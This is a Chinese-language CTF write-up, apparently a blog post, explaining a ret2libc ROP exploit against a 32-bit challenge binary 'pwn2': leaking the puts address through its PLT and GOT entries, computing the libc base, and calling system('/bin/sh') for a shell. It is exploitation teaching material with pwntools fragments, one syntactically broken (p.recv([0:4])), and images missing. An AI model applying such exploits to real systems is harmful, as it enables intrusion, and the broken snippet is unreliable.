PWN-ROP

题目:给出PWN2文件和libc

查看:

文件类型及其保护方法
PWN-ROP
找system和bin_sh都么有
PWN-ROP
PWN-ROP
所以只能利用libc文件

理论

PWN-ROP
PWN-ROP

思路

由于libc的延迟绑定机制,需要选择已经执行过的函数作为泄漏函数,这里我们选择put()

计算偏移量=92
PWN-ROP

构造payload1:目的: 得到puts的地址:puts_addr

payload=
填充满偏移量的长度 + puts的plt地址_p32(puts_plt) + main函数的地址_p32(main) + puts的got地址_p32(puts_got)

填充满偏移量的长度 =92=5C h ,下同。
p32(main) 在ida中查看=0x08048519
PWN-ROP
p32(puts_plt):
puts_plt=elf.plt['puts']
p32(puts_got):
puts_got=elf.got['puts']

//这里elf的用法因为:elf=ELF('./pwn2')

puts_addr:
puts_addr=u32(p.recv([0:4]))

打印地址用到的代码是print "puts_addr:"+hex(puts_addr),下同。

构造payload2 目的: 由puts的地址推导出system和’/bin/sh’的地址

payload=
填充满偏移量的长度 +system地址_p32(system) + 4个‘b’ + '/bin/sh'地址_p32(bin_sh)

p32(system):

puts_libc=libc.symbols['puts']
libc_base=puts_addr-puts_libc
sys_libc=libc.symbols['system']
sys_addr=libc_base+sys_libc   //至此得到了p32(sys_addr)

p32(bin_sh):

bin_sh_addr=libc_base+next(libc.search('/bin/sh'))      ///至此得到了p32(bin_sh_addr)

//这里libc的用法因为:libc=ELF('libc.so.6')

脚本

PWN-ROP

一些没用的图:
PWN-ROP

PWN-ROP

PWN-ROP

PWN-ROP

上一篇:linux – 是否有一个malloc变体在调用`free()`时将块清零?


下一篇:openwrt 缺少 libc.so.6 libm.so.6 libpthread.so.0